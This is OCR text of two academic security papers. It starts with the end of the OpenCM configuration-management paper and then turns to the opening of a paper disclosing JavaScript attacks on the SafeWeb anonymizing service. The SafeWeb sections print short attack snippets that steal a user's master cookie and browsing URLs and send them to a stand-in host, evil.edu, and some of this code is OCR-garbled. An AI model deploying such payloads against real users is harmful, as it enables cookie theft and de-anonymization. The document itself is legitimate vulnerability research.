The essential vulnerabilities in the system lie in (a) the 
possibility that the server host has been compromised, and 
(b) the possibility that the user’s key has been compro- 
mised. The first presents a chicken and egg problem: un- 
til something like EROS exists in widely-available form, 
it is impossible to adequately protect the EROS code base. 
For now, we have settled for locking down the machine: 
OpenCM is the only application connected to the outside 
world on our high-assurance repository host, and periodic 
offline backups are made of the repository. 


The key to high-assurance development is to ensure that 
commits on the high-assurance branch are made using of- 
fline keys from a known-trusted machine. When perform- 
ing these commits, we first inspect (as a group) the pro- 
posed changes, making note of the signature of the version 
under inspection. We then physically log in to a dedicated 
account on the CM server, perform an integrity check on 
the version to be merged, and perform the merge using the 
authority of a key stored on a floppy disk. 


7 Vulnerabilities 


There is little that can be done to protect a user if they can 
be convinced to ask initially for a non-authentic branch. 
In properly constructed cryptography, the best that can be 
achieved is to ensure that users get what they ask for. 


Beyond this, the initial implementation of OpenCM suf- 
fers from two significant vulnerabilities embedded in the 
information architecture as originally designed. We de- 
scribe them and possible solutions to them here. 


7.1 History Backwalk 


The first exposure concerns access controls on frozen 
objects. As discussed in Section 5.2, the access pred- 
icate for a frozen object is based on reachability. We 
made an initial, naive assumption that cryptographic 
hashes were unguessable, and that this provided suf- 
ficient protection to prevent unauthorized reads. The 
GetFrozenObject () repository operation therefore 
did not perform access checks. Our theory was that even 


if such a name leaked, only a single version of a single 
branch is exposed, and that repository-level authentica- 
tion was a sufficient impediment to theft. In hindsight, 
this was mistaken. 


In the OpenCM schema, every Configuration object in- 
cludes the frozen object name of its predecessor config- 
uration (the “Older Configurations” arrow in Figure 2). 
This “back pointer” is necessary to ensure that the merge 
algorithm works; its presence (or equivalent) and access- 
ability is a functional requirement of the configuration 
management system. An unforeseen consequence is that 
any holder of a valid Configuration object name who can 
authenticate to any replicate repository can obtain the en- 
tire history of development up to that Configuration. For 
open source development, this is a non-issue, but for pro- 
prietary projects it may be a significant concern. 


One solution would be to revise the object request inter- 
face to require the specification of a path anchored at a 
mutable so that the reachability test can be explicitly per- 
formed. Regrettably, this doesn’t help; an attacker with 
access to a client can extract such a path as easily as they 
can extract the configuration name. 


A second solution might be to encrypt the cryptographic 
names stored in the client workspace using the client’s se- 
cret key. If the secret key is compromised, the attacker can 
obtain anything in any case, so this is effectively the best 
that is achievable. We are, however, uncomfortable with 
this solution, as it does not solve the problem for content 
stored in local repositories. 


A third solution is to have each repository maintain an in- 
verse mapping from every frozen object to its set of “con- 
taining” mutable objects. This is clearly feasible, but we 
are hoping for a simpler solution. 


At this point, we consider this problem “still unsolved.” A 
number of workable strategies have been proposed, but it 
is unclear how best to address the issue. For our own use 
in open source projects, the problem is not pressing. 


7.2 Mutable Names 


As originally designed, mutable object names did not 
include the name of their originating repository. This 
ylelded the possibility that a mutable object could be 
forged by providing completely false, signed content and 
binding it to the name of the original mutable. This flaw 
was recognized and diagnosed independently by Mark 
Miller and Chris Riley prior to the first code release. 
Miller provided the solution, which is to include the mu- 
table’s name (including the repository name) as part of its 
signed content. This solution is incorporated in the first 
OpenCM release. 
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7.3 Server Compromise 


It is of course possible for a repository server to be com- 
promised. If the repository’s private signing key is stolen, 
false content can be introduced in the repository or ex- 
isting content can be destroyed. While OpenCM cannot 
eliminate this vulnerability, it does provide a means for re- 
covery. Mutual replication between two repositories can 
ensure that deleted contentis recoverable. Audit can, with 
some pain, determine what has been changed improperly, 
allowing it to be removed or recovered. Registry updates 
can then be used to introduce a new signing key while 
preserving the repository identity. 


8 Future Plans 


OpenCM is currently working, and has been in use in our 
lab for several months on a number of software projects. 
While it is meeting our needs for file-based development, 
a number of opportunities exist for future enhancement. 
Of these, the most pressing is the need for a secure script- 
ing language. 


Scripting is needed in OpenCM for two reasons. First, 
various transformations on data streams can usefully be 
done on checkout and commit. It would be useful if 
the implementation of these transforms can be accom- 
plished in a machine-independent way but outside of the 
OpenCM TCB (which is already too large for comfort). 
Second, there are automatable consistency, access con- 
trol, and process enforcement policies whose enforce- 
ment we would like to embed in the tool, but in many 
cases these policies are project-specific. Use of a safe 
scripting language seems like a reasonable approach. For 
this application we are considering integration of W7, a 
Scheme-derived security kernel created by Jonathan Rees 
[Ree96]. We are also considering integration of a native 
implementation of the E capability-secure scripting lan- 
gage [MMFO00], whose syntax may prove more approach- 
able to many users. 


We are also interested in creating an OpenCM client for 
workspace-oriented programming languages, as has been 
done for (among others) VisualAge Java and SmallTalk. 


9 Related Work 
9.1 CM Systems 


There is a great deal of related prior work on configuration 
management in general. As this paper focuses on access 
control, we synopsize it only briefly here. Interested read- 
ers may wish to examine the more detailed treatment in 
the original OpenCM paper [Sha02] or various other sur- 
veys on this subject. 


RCS and SCCS provide file versioning and branching 
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for individual files. Both provide locking mechanisms and 
a limited form of access control on locks (compromisable 
by modifying the file). Neither provides either configu- 
ration management or substantive archival access control 
features. Further, each ties the client name of the object to 
its content, making them an unsuitable substrate for con- 
figuration management. 


NUCM uses an information architecture that is super- 
ficially similar to that of OpenCM [dHHW96]. NUCM 
“atoms” correspond roughly to OpenCM frozen objects, 
but atoms cannot reference other objects within the 
NUCM store. NUCM collections play a similar role 
to OpenCM mutables, but the analogy is not exact: all 
NUCM collections are mutable objects. The NUCM in- 
formation architecture includes a notion of “attributes” 
that can be associated with atoms or collections. These 
attributes can be modified independent of their associated 
object, which effectively renders every object in the repos- 
itory mutable. NUCM does not provide significant sup- 
port for archival access controls or replication. 


Subversion is a successor to CVS currently under de- 
velopment by Tigris.org [CSO2]. Unlike CVS, Subver- 
sion provides first-class support for configurations. Like 
CVS, Subversion does not directly support replication. 
Subversion’s access control model is based on usernames, 
and is theref-ore unlikely to scale gracefully across multi- 
organizational projects without centralized administra- 
tion. 


WebDAV The “Web Documents and Versioning” [WG] 
initiative 1s intended to provide integrated document ver- 
sioning to the web. It provides branching, versioning, and 
integration of multiple versions of a single file. When the 
OpenCM project started, WebDAV provided no mecha- 
nism for managing configurations, though several propos- 
als were being evaluated. Given the current function of 
OpenCM, OpenCM could be used as an implementation 
vehicle for WebDAV. 


BitKeeper incorporates a fairly elegant design for 
repository replication and delta compression. To our 
knowledge, it does not incorporate adequate (i.e. crypto- 
graphic) provenance controls for high-assurance develop- 
ment. Further, it does not address the trusted path problem 
introduced by the presence of untrusted intermediaries in 
the software distribution chain. 


9.2 Other 


Various object repositories, most notably Objectivity and 
ObjectStore, would be suitable as supporting systems for 
the OpenCM repository design. This is especially true 
in cases where an originating repository is to be run as 
a distributed, single-image repository federation. Neither 
directly provides an access control mechanism similar to 
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OpenCM. 


Both Microsoft’s “Globally Unique Identifiers” and Lo- 
tus Notes object identifiers are generated Using strong 
random number generators. Miller et al.’s capability- 
secure scripting language E [MMFO0] uses strong random 
numbers as the basis for secure object capabilities. The 
Droplets system [Clo98] by Tyler Close has adapted 
this idea to cryptographic capabilities encoded in URLs. 


The Xanadu project was probably the first system to 
make a strong distinction between mutable and frozen 
objects (they referred to them respectively as “works” 
and “editions’’) and leverage this distinction as a basis 
for replication [SMTH91]. In hindsight, the informa- 
tion architecture of OpenCM draws much more heav- 
ily from Xanadu ideas than was initially apparent. The 
OpenCM access control design 1s closely derived from 
the Xanadu Clubs architecture[SMTH91], originally con- 
ceived by Mark Miller. 


OpenCM’s use of cryptographic names was most directly 
influenced by Waterken, Inc’s Droplets system [Clo98]. 
Related naming schemes are used in Lotus Notes and in 
the GUID generation scheme of DCE. 


10 Acknowledgements 


The Xanadu Clubs architecture [SMTH91] was originally 
conceived by Mark Miller and subsequently refined by 
Jonathan Shapiro. Comments and feedback on this pa- 
per were provided by David Chizmadia, Mike Hilsdale, 
Mark Miller, Chris Riley, and Anshumal Sinha. 


Mark Miller’s diagnosis of the mutable substitution prob- 
lem came at a critical and fortuitous moment before we 
shipped the first release. At a minimum, it saved us 
the embarassment of an incompatible version 2 shipping 
weeks after version 1. 


11 Conclusions 


OpenCM supports the requirements of high-assurance 
development in an open-source environment. It uses 
cryptographic naming and authentication to achieve dis- 
tributed, disconnected, access-controlled configuration 
management across multiple administrative domains and 
to provide strong integrity guarantees. OpenCM sup- 
ports multi-organizational project teams through use of 
domain-agnostic cryptographic authentication and dis- 
connected commtt. It also provides delegation and strong 
provenance tracking. 


While there are many interdependencies in the design, 
there are no clever or excessively complicated algorithms 
or techniques in the system. The fundamental insight, 
such as it 1s, is that successful distribution and config- 


uration management can be built on only two primitive 
concepts — naming and identity — and that cryptographic 
hashes provide an elegant means to unify these concepts 
and provide a basis for integrity checks. 


The OpenCM schema is not limited to configuration man- 
agement applications. It is a general-purpose information 
model that provides wide-area, integrity-checked distribu- 
tion and naming system for online archival content. Fur- 
ther, it is relatively neutral with respect to demands on 
the underlying storage-system. The one serious “missing 
link” in the existing OpenCM architecture as a general- 
purpose content substrate is the absence of a self-assuring, 
eventually consistent collection mechanism; we believe 
we see a means to realize such collections. It is our plan 
to pursue the use of the underlying architecture for other 
information spaces. 


The core OpenCM system, including command line 
client, two local file system repository implementations, 
and remoting support, consists of 19,134 lines of code. 
Roughly 20% of this code is serialization support that 
could be automatically generated. In contrast, the cor- 
responding CVS core 1s 52,055 lines (both sets of num- 
bers omit the diff/merge, RCS, compression libraries, 
comments, and blank lines). In spite of this simplicity, 
OpenCM works reliably, efficiently, and effectively. It 
also provides greater functionality and performance than 
its predecessor. One of the significant surprises in this ef- 
fort has been the degree to which a straightforward, naive 
implementation has proven to be reasonably efficient. 


OpenCM was released at the USENIX 2002 conference. 
Software is available from the OpenCM web site at 
http: //www.opencm. org or the EROS project web 
site athttp: //www.eroS-os.org. 
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Abstract 


The SafeWeb anonymizing system has been lauded by the press and loved by its users; self-described as “the most 
widely used online privacy service in the world,” it served over 3,000,000 page views per day at its peak. SafeWeb 
was designed to defeat content blocking by firewalls and to defeat Web server attempts to identify users, all without 
degrading Web site behavior or requiring users to install specialized software. In this paper we describe how these 
fundamentally incompatible requirements were realized in Safe Web’s architecture, resulting in spectacular failure 
modes under simple JavaScript attacks. These exploits allow adversaries to turn SafeWeb into a weapon against its 
users, inflicting more damage on them than would have been possible if they had never relied on SafeWeb 
technology. By bringing these problems to light, we hope to remind readers of the chasm that continues to separate 


popular and technical notions of security. 


1. Introduction 


In Mur phy’s Law and Computer Security [59], Venema 
described how early users of the “booby trap” feature of 
the TCP wrapper defense system might have been more 
vulnerable than those who didn’t use TCP wrappers at 
all. This paper gives a contemporary example of this 
effiect in the computer privacy realm: we show how the 
SafeWeb anonymizing service can be turned into a 
weapon against its users by malicious third parties, and 
how this weapon can inflict more damage on some of 
them than would have been possible if they had never 
encountered SafeWeb. Unfortunately, the problems we 
describe do not seem to admit an easy fix consistent 
with SafeWeb’s design requirements. 


The Safe Web anonymizing service was designed to let 
users disguise their visits to Web sites so that nearby 
firewalls would not notice the visits, and so the Web 
sites could not identify who was visiting them. Our 
findings allow malicious firewalls or Web sites to 
quietly undermine SafeWeb’s anonymity properties by 
tricking a SafeWeb user’s browser into identifying 
itself. In response, the user’s browser reveals not only 
its IP address, but may also reveal all of the persistent 
cookies previously established through the SafeWeb 
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service. The adversary can also modify the SafeWeb 
code running on its victim’s browser so that it receives 
copies of al/ of the pages subsequently visited by the 
SafeWeb user during that browser session. 


Ordinary Web browsers are susceptible to such extreme 
privacy violations only in the presence of serious 
browser bugs. Vendors usually treat such bugs as 
urgent problems and try to fix them very quickly. But 
the SafeWeb problems are no mere bugs: they are 
symptoms of incompatible design decisions. The 
exploits described here are not complicated; the authors 
spent only 3-4 days developing the attacks. 
Programmers experienced in networking and Web 
technologies should be able to produce them at a 
similar pace. 


The SafeWeb company has been aware of these 
vulnerabilities since May 2001, and possibly earlier, but 
did not acknowledge them publicly until February 
2002. The SafeWeb FAQ [43] went so far as to say 
that claims about privacy threats from JavaScript — 
which are central to our attacks — were simply false and 
that JavaScript by design prevents any privacy abuses 
(see Figure 1). Meanwhile, the mainstream press 
enthusiastically embraced the SafeWeb — service 
[5,25,34,55]. Thus, most SafeWeb users have had no 
reason to suspect that the service might put them at any 
unusual risk. 
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How does SafeWeb tackle JavaScript? 


There have been numerous claims, mainly by 
privacy companies, that JavaScript by itself is very 
dangerous to your privacy, and that pages 
containing JavaScript should not be allowed through 
their privacy servers. These claims are false. 


JavaScript is no more "dangerous" than HTML. By 
design, JavaScript was limited in its feature set to 
prevent any abuse of your computer or privacy. 
Therefore, it 1s harder to make JavaScript code 
secure than it is to secure HTML, but it is certainly 
not impossible. 


SafeWeb analyzes all JavaScript code that passes 
through our servers and sanitizes it so that you can 
maintain your normal browsing habits while still 
remaining safe from prying eyes. The same is true | 
for VBScript. 


Figure 1: Excerpt from SafeWeb FAQ, October 2001 


To mount these attacks, an adversary must lure a 
SafeWeb user to a Web page under the adversary’s 
control. The Web page does not have to be located at 
the adversary’s Web site: using cross-site scripting 
vulnerabilities [6,33,49,52], the adversary only needs to 
lure the victim to a particular URL on one of many 
vulnerable Web sites. The attacker also needs to 
control a Web or equivalent server somewhere in order 
to receive the sensitive data. 


We proceed with some background in Section 2. In 
Sections 3 and 4 we describe the SafeWeb design. In 
Section 5 we describe our attacks and related threats, 
and we discuss possible remedies tn Section 6. We 
give pointers to related work in Section 7 and discuss 
the impact of our attacks in Section 8. In Section 9 we 
summarize some responses to our attacks. We conclude 
in Section 10. 


2. Background 


The promise of anonymizing services is, for better or 
worse, to keep user IP addresses out of routinely 
collected log files. This might help opponents of 
oppressive regimes, it might help someone for whom 
the phrase “right to privacy” equates to surfing porn at 
work, or it might help planners of terrorist attacks. 
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(Although m practice, a plain old Hotmail account 
seems to be the tool of choice for al-Qaida [31].) 


The SafeWeb anonymizing service was the first 
offering of SafeWeb Inc., a privately held company 
founded in April 2000 and based in Emeryville, CA. 
Partners and investors in the SafeWeb effort include the 
Voice of America (the U.S.’s_ foreign propaganda 
service) [41], and In-Q-Tel, a C.I.A.-funded venture 
capital firm [40]. 


The company launched its anonymizing service in 
October 2000. By March 2001, they considered it the 
“the most widely used online privacy service in the 
world” [44]. SafeWeb licensed its anonymizing 
technology to PrivaSec LLC as part of that firm’s 
planned subscription privacy service in August 2001 
[45]. By October, SafeWeb was serving over 3,000,000 
page views per day. The following month, SafeWeb 
suspended free public access to the service, citing 
financial constraints [28]. Then in a December 200] 
press release, they wrote that they were considering 
reestablishing the service, possibly on a subscription 
model [42]. 


Although SafeWeb’s particular advertising-supported 
privacy service was gone at the time this paper was 
completed, its technology lives on, and we continue to 
refer to it primarily as SafeWeb. Our attacks can 
currently be witnessed through a technology preview 
program at PrivaSec’s Web site [36]. 


3. SafeWeb design requirements 


The SafeWeb service was designed to offer two main 
benefits to its users: censorship avoidance and 
anonymization. 


Censorship avoidance’ requirement. SafeWeb’s 
censorship avoidance is meant to help people avoid 
content blocking systems that normally restrict their 
activities. The two main types of blockers are national 
censors and corporate security managers, both of whom 
control firewalls that enforce their policies. Censorship 
avoidance in this context means encrypting the content 
so that it will pass through the content blocking system 
intact. (An obvious censor response is to block access 
to the SafeWeb service. SafeWeb countered with its 
“Triangle Boy” system to hide ifs own IP address from 
the censors [39], but this is unlikely to be the last word 
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in this arms race; see Section 7 for pointers to other 
approaches.) Users concerned with censorship 
avoidance consider their adversary to be located close 
to their own computer and may not perceive any threat 
from the Web sites they want to visit. 


Anonymity requirement. SafeWeb’s anonymization 
benefits users who wish to conceal their identities from 
the Web sites they visit. This notion of “identity” is not 
precisely defined, but it certainly includes the user’s IP 
addresses and cookies at unrelated Web sites. 
Anonymity can also be considered a sort of second 
order censorship avoidance, for when censorship 
initially fails to keep illicit works off of the market, it 
can still effectively reduce access by intimidating 
authors and readers. For example, the Directorate for 
Mail Censorship in Romania under Ceausescu collected 
handwriting and typewriter samples from its population 
for this purpose [35]. 


In support of these primary goals, SafeWeb also 
observed these auxiliary requirements, which have the 
effect of making the SafeWeb service accessible to a 
very large user base: 


Faithfulness requirement. The service should 
reproduce the sites visited by the user as faithfully as 
possible. Specifically, it should sanitize and support 
most content types, even cookies and JavaScript. 


Usability requirement. A service that 1s not fast will 
not get used, nor will one (such as PGP 5.0 [63]) that 1s 
too complex for the target market. So the service must 
have quick response time and overall ease of use. 


No-mods requirement. Many of the intended users of 
the system are not free to install software or even 
reconfigure their Web browsers; furthermore, they may 
not have the technical skills required to do so even if it 
were permitted. Visitors to public facilities (e.g., cyber 
cafés and libraries) should be able to use the service, as 
should corporate employees who are not allowed to 
customize their computers. 


4. SafeWeb architecture 
Figure 2 contains a schematic diagram of SafeWeb’s 


technology. Their service 1s implemented through a 
URL-based content rewriting engine. In order to 


“safely” visit the page http: //www.bu. edu, a user 
requests a URL such as https://www.safeweb. 
com/o/ -0(410) 2) wain(1) 3. 4a:http://www.b 
u.edu. A simple form at the SafeWeb site 
automatically performs this transformation for the user. 
This 1s consistent with the no-mods requirement. 


Given this transformed URL, the user’s Web browser 
builds an SSL connection to safeweb.com. Since SSL 
encryption hides the URL request from intervening 
censors, this implements the censorship avoidance 
requirement. Behind the scenes, SafeWeb obtains the 
page http: //www.bu. edu, sanitizes it, and returns 
it to the user. This step comprises the anonymity 
requirement, since the Web site merely sees a request 
for data from the SafeWeb site and not the user’s own 
computer. SafeWeb manipulates the user’s browser 
display to make the resulting page appear to come from 
http://www.bu.edu (thus contributing to 
faithfulness). But internally, the user’s Web browser 
considers it an SSL page delivered from sateweb.com. 


Sanitization is the crucial operation in_ realizing 
faithfulness without violating anonymity. The page 
requested by the user 1s likely to contain URL 
references to other Web content such as embedded 
images, hyperlinks, cascading style sheets, t{rames, etc. 
Since the user’s Web browser does not use the HTTP 
proxy mechanism as part of the SafeWeb scheme, it 
will happily connect to any URL mentioned in any 
content it receives. Therefore, every one of these 
references must be rewritten to go through the 
sateweb.com sanitizer. Otherwise, when the reference 
is triggered, the user’s Web browser would directly 
contact the server named in the URL, tn the process 
revealing the Web browser’s IP address and breaking 
the anonymity requirement. 


SafeWeb handles cookies by multiplexing them into a 
single “master cookie” associated with safeweb.com. 
When a user requests a Web page through Safe Web, the 
user’s browser sees a connection to some HTTPS page 
within safeweb.com; in accordance with normal cookie 
semantics, the user’s browser also transmits the 
safeweb.com cookie to safeweb.com. The server 
extracts and forwards only the relevant part of the 
cookie when it contacts the origin server for the page 
content. Similar multiplexing happens with Set-Cookie 
headers sent back to the user’s browser. 
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In order to faithfully render Web pages containing 
JavaScript, SafeWeb also sanitizes JavaScript programs 
before delivering them to the user’s browser. This 
JavaScript rewriting engine takes untrusted JavaScript 
programs from Web sites as input and produces trusted 
JavaScript programs as output, preserving as much 
functionality in the original program as possible. The 
output programs are trusted in the sense that SafeWeb 
considers them safe to run natively in the user’s Web 
browser. For example, consider this simple JavaScript 
program that merely redirects the current page to 
www.bu.edu: 


window. location="http://www.bu. edu” ; 


If this untrusted code were given to the user’s Web 
browser, then it would directly contact the www.bu.edu 
Web server, sending the user’s IP address, and thereby 
violating anonymity. Given this input, the JavaScript 
rewriting engine produces something like this: 


window. location = window.top.fugunet _ 
loc href fixer("https://www.safewe 


bseom/: a (http //-lomitceds:"~. “http: 
//www.bu.edu", false) ; 
The fugunet_loc_href fixer function (not shown) 


produces a URL that, when fetched, instructs SafeWeb 
to obtain and sanitize http: //www.bu. edu, just as 
in the first paragraph of this section. Again, when such 
a URL is fetched, the server at www.bu.edu will only 
see an access from www.safeweb.com, and the log files 
at www.bu.edu will only contain SafeWeb’s IP address, 
rather than the user’s. Of course, the logs at 
www.safeweb.com will contain evidence of the user’s 
indirect accesses to www.bu.edu, so these logs could be 
an attractive target for hackers, governments, and 
litigants [9,19]. But basically, the input JavaScript 
program has been rendered functional and safe. 


The window’s current URL location is not the only 
JavaScript element that must be sanitized. SafeWeb 
rewrites references to the “parent” and “top” attributes 
of Window objects, the “src” attribute of objects 
derived from HTMLElement, document.cookie, and 
many other sensitive elements. All of this rewriting is 
meant to prevent IP addresses from spilling to the 
wrong site, but tt 1s also required so that JavaScript 
programs behave as intended by their original authors 
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Figure 2: SafeWeb Architecture 


even when running in SafeWeb’s frameset context 
described in Section 5.2. 


5. The attacks 


The example JavaScript program shown above is a 
simple case: one string literal URL must be processed 
into a safe version. But client-side JavaScript is no 
trivial language. For example, it gives JavaScript 
programs full access to the JavaScript interpreter at run- 
time through its document.write method (very 
commonly used to add or alter Web page content at run 
time), eval function, and “Function” object: JavaScript 
programs can compute and execute new JavaScript 
code at run time. 


Recognizing that run-time interpreter access is 
threatening, SafeWeb implemented two modes of 
JavaScript rewriting: “recommended” and “paranoid” 
modes. The difference between the two is in the 
handling of “eval’-like actions. In recommended mode, 
SafeWeb uses some weak run-time heuristics to remove 
certain problematic constructions but lets most code 
through. In paranoid mode, SafeWeb removes even 
more. In other words, recommended mode prefers 
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Figure 3: Configuration settings controlled by the master cookie in PrivaSec's service based on SafeWeb’s 
technology. The settings shown can be considered minimum privacy. 


faithfulness, and paranoid mode prefers anonymity. As 
implied by the name, the default mode is 
“recommended” in both SafeWeb and PrivaSec. This 
setting 1s controlled by an all-purpose options dialog 
box; see Figure 3. 


Given this tradeoff it should not be surprising that 
attacks against anonymity are possible’ in 
recommended mode. For example, a single carefully 
crafted JavaScript statement is enough to cause a 
SafeWeb user’s Web browser to reveal its real IP 
address to the attacker. What is perhaps unexpected 1s 
how much more damage the attacker’s code can do, 
and that equivalent attacks are possible in paranoid 
mode. 


5.1. The master cookie 


As mentioned in Section 4, SafeWeb multiplexes 
cookies into a master cookie associated with 
safeweb.com. For example, if a user visits wired.com 
through SafeWeb and wired.com transmits a Set- 
Cookie header back to the user, Safe Web then adds the 
pertinent information to the cookie it shares with the 
SafeWeb user. 


SafeWeb’s master cookie also stores its own 
configuration settings, such as recommended or 
paranoid mode, whether to save persistent subcookies, 
whether to attempt to block Java applets, etc. These 
settings are shown tn Figure 3. For example, selecting 
“block all cookies” sets a bit in the master cookie that 


directs the SafeWeb sanitizer to block actions that 
manipulate cookies (except for those referring to the 
safeweb.com cookie). If cookies are fully disabled in 
the user’s browser, then settings embedded in the 
master cookie cannot be communicated to the Safe Web 
sanitizer; as a result, the service reverts to its default 
settings. 


The table below shows some of the SafeWeb master 
cookie. The first record shows SafeWeb configuration 
information (encoded as an integer), and the last record 
represents a cookie deposited from the .bu.edu domain 
associating the key “foo” with the value “bar”. 


SafeWeb options = 384 ; 


7gGNK40dLU40 


i WLLeG. com; =p unigid = 
+yV8YKD 

J -ivecos .com/ = lubid = 0 L00U0S 08 BD3 22 
4708043BD828B8003DA2EEQ00000000 
/servedby.advertising.com/:57646125 
= !ee910010040218560018!00000000-0 
0008869-00007874-3bd82860-00000000- 
*64.124.150.141* 


7D ed] LOG = bax 


Clearly, a user’s master cookie 1s _ sensitive 
information. | Besides containing overall security 
settings, each subcookie contained within it is evidence 
that the user has visited the corresponding site, and it 
may also indicate the SafeWeb user’s pseudonymous 
identity there. 
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Ordinarily, two unrelated Web sites have no way to 
discover the cookie values that they each 
independently deposited on a user’s browser [24,32]. 
But under this master cookie scheme, anyone who gets 
the single SafeWeb master cookie really gets all of the 
cookies previously sent to the user’s browser through 
SafeWeb. 


5.1.1. Stealing and changing the master cookie 


self ['document'] ['cookie']="AnonGo_op 
Cions=Winl, 384; path=/"; 

self ("documents |: "cookue” | ="Sareweb-o 
ptions=384; path=/; expires=Mon Oc 
bo 00:00 700" Bot 20 Les 


foo=eval; 
foo(' (new Image(1,1)).src="https://ev 
il.edu/"+(new Date()) .getTime()+do 


cument.cookie') ; 


Recall that the user’s browser executes all scripts 
fetched via SafeWeb in the context of safeweb.com, 
which it believes is the site being visited. Therefore, 
document.cookie is the master cookie within this 
script. Since the SafeWeb rewriter does not want a 
third party JavaScript program to gain access to the 
entire master cookie, it rewrites overt references to 
document.cookie. But it 1s not capable of recognizing 
synonyms suchas selt]‘document’] [‘cookie’]. 


Whatever the user’s current SafeWeb settings are, this 
attack reverts them to the “minimum privacy” as 
shown in Figure 3; the number 384 denotes that 
particular combination of settings. (Beware of the 
confusing asymmetry in JavaScript’s cookie semantics: 
the first two lines would appear to overwrite the master 
cookie, but in fact, they simply add value pairs to It.) 


The SafeWeb sanitizing engine does not model 
program data flow very thoroughly, as the “foo” 
synonym we establish for “eval” in the third statement 
is not treated as suspicious. As a result, the fourth 
statement is not rewritten on its way to the user’s 
browser and this. time even’ the literal 
“document.cookie” makes it through. This statement 
causes the user’s browser to transmit the full master 
cookie to the adversary at evil.edu, bypassing the 
SafeWeb sanitizer — and therefore revealing the user’s 
IP address — inthe process. The reference to the Date 
object merely ensures that the IITTP transaction 
evades intervening caches. 
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5.1.2. Using a SafeWeb helper function to read the 
master cookie 


t = self; //these two lines 
t = t.top; //change self 
gcd = t.frames [0] .getCookieData; 
t = t.frames[1]; // restore self 
Cc = eal se 
n= won. 
while (n != "") q 

= 9gcd(e); 

G42 m4. Me 

} 
Opes. =" Sareweb- options"; 
Cc += opts + gcd(opts) ; 


alert ("Master cookie is "+ oc); 

This attack is interesting because it grabs the master 
cookie without explicitly mentioning it, by using a 
helper fiinction called getCookieData provided in the 
top frame of the SafeWeb infrastructure (see Section 
5.2). A call such as getCookieData(‘www.example. 
com’) is meant to be used internally by SafeWeb to 
extract only the www.example.com part of the master 
cookie. However, it allows its searches to span record 
boundaries, and it has no way of knowing whether It is 
being called by SafeWeb or by an attacker. We exploit 
these facts to reconstruct the entire master cookie using 
a simple prefix search. The SafeWeb rewriting engine 
does not alter any of the code 1n this attack. 


5.2. The SafeWeb frames 


The contro! part of the Safe Web interface is separated 
from the content part using HTML frames. Refer to 
Figure 4; in the top frame, we can see that the user has 
requested a page from www.bu.edu, and the content of 
that page 1s shown in the lower frame. 


The relevant URLs are: 


a Overall frameset: DEEpS2/ 764 152.73 
.207/_i: v(1020965473820): 0(384): 
http: //www.privasec.com/memberhome 
2 trem 


Db §6©Top frame: https: //64.152.73.207/spoo 
1/common_files/upperframe.php?flas 
h=322 1 
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o ©Bottom frame: https://64.152.73.207/ | 
u(http://www.bu.edu):_0(322): win( 
1) :http://www.bu. edu 


(The examples in this section refer to PrivaSec’s 
deployed service; therefore, the URLs use PrivaSec’s 
IP address 64.152.73.207 rather than safeweb.com.) 


ont 


EDs 


Tp PS em 


Figure 4; PrivaSec screen shot showing SafeWeb 
technology. The top frame is a control panel 
(“SurfSecure”), and the bottom frame is the page 
requested by the user. 





One attack approach 1s to alter the top frame to 
somehow make it track the content viewed by the user 
in the lower frame. But keep in mind that the attacker 
only has direct control over content in the bottom 
frame, and JavaScript’s “same origin” policy in Web 
browsers forbids two frames from communicating 
unless they are from the same domain in order to 
prevent one site from stealing data from another [15]. 
At first glance, it would seem difficult for the bottom 
frame to reach onto the top (or vice versa). 


But in this case, both frames do come from the same 
domain. Refer to the URLs above; both come from 
64.152.73.207, one of PrivaSec’s addresses. This 1s no 
accident; by inspecting the sanitized code, it 1s clear 
that the SafeWeb was built with this cross-frame access 
by JavaScript in mind. So tn addition to overruling the 
Standard cookie domain restrictions noted above, 


SafeWeb also sacrificed the browser’s native cross- 
domain frame protection. 


5.2.1. One-line spyware attack 


self ['window'] ['top'] .frames[0] ['cook 
ie munch'] = Function('i=new Image 
(11s) ous "rea" hetips:/ / evil. eau" 
+top.frames[0] .document.forms ["fug 
ulocation"] .URL_text.value+(new Da 
te()).getTime()+document. cookie; ') 


f 


As part of its sanitization, SafeWeb alters every Web 
page to include a call to its own function 
cookie munch, which 1s defined in the context of the 
top frame. This attack simply changes the definition of 
that function, so that every time SafeWeb processes a 
new page (whether the user types it in manually or 
simply clicks on a link), this function will be called, 
and it will grab the current URL and send it off to the 
attacker. An attacker could also break the actual 
document (document.body .innerHTML) into pieces 
and use Web bugs to deliver it elsewhere [50]. 


This one-line attack doesn’t work in Internet Explorer, 
because the spyware function it creates is destroyed 
when the frame content displaying tt changes — 1.e., 
when the user navigates to a new page. It can be 
generalized to work in Internet Explorer, but the 
resulting attack is very long, because it includes the full 
HTML source for SafeWeb’s upper frame. We omit it 
here. (Our longer attack causes a brief flash in the 
upper frame when tt first loads.) 


5.3. DNS attack 


var s = "https://www.safeweb.com.evil 

.edu/"; 
document.images[0].src = sg; 
When SafeWeb processes the program above, it passes 
the first statement through unchanged and rewrites the 
second statement as follows: 


document.images[0].srce = (s)?((s).ind 
exOf ('https://www.safeweb.com') = 
- 0)?(s):("https://www.safeweb.com 
/O/ -0(410) <-win(1)4 base(https://e 
vil.edu/):" + (s)):' '; 


Safe Web is checking to see if the string appears to be 
sanitized or not. The rule is: if it begins with 
“https://www.safeweb.com’, then it’s safe, otherwise it 
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still needs to be sanitized. Our DNS attack succeeds 
because the string does begin that way, but that doesn’t 
mean that the URL refers to the SafeWeb site. By 
controlling the evil.edu domain, we can make the URL 
“https://www.safeweb.com.evil.edu/” refer to any 
computer we like. 


This simple (and easily fixed) implementation error 
highlights the danger in relying on a simple piece of 
text as the magic indicator of data that has already been 
sanitized. 


A non-DNS attack that is not so easily defeated, but 
that has the same effect, simply subclasses String so 
that its overridden indexOf method a/ways returns 0. 


5.4. About paranoid mode 


The only difference between recommended mode and 
paranoid mode is in how eagerly the SafeWeb 
rewriting engine rewrites JavaScript code on the way to 
the browser. Once a piece of JavaScript code arrives at 
the browser, SafeWeb’s paranoia level has no effect on 
the type of damage that attacking code can inflict. 


In paranoid mode, SafeWeb removes references to the 
eval function and many equivalent constructs, such as 
document.write and javascript: URLs.  SafeWeb 
maintained that this blocked all dangerous JavaScript 
[7]. But this approach amounts to making a list of 
known-unsafe constructs and blocking them. In fact, 
the paranoid mode rewriter considers the content It 
doesn’t understand to be safe. So in order to mount an 
attack in paranoid mode, an attacker only needs to 
think of a way to gain access to the JavaScript 
interpreter that the SafeWeb architects didn’t envision. 
Indeed, all of our attacks above succeed in paranoid 
mode. This approach to safety 1s in opposition to the 
advice of Venema in [59]: 


"When a program has to defend itself against 
malicious data, there are two ways to fix the 
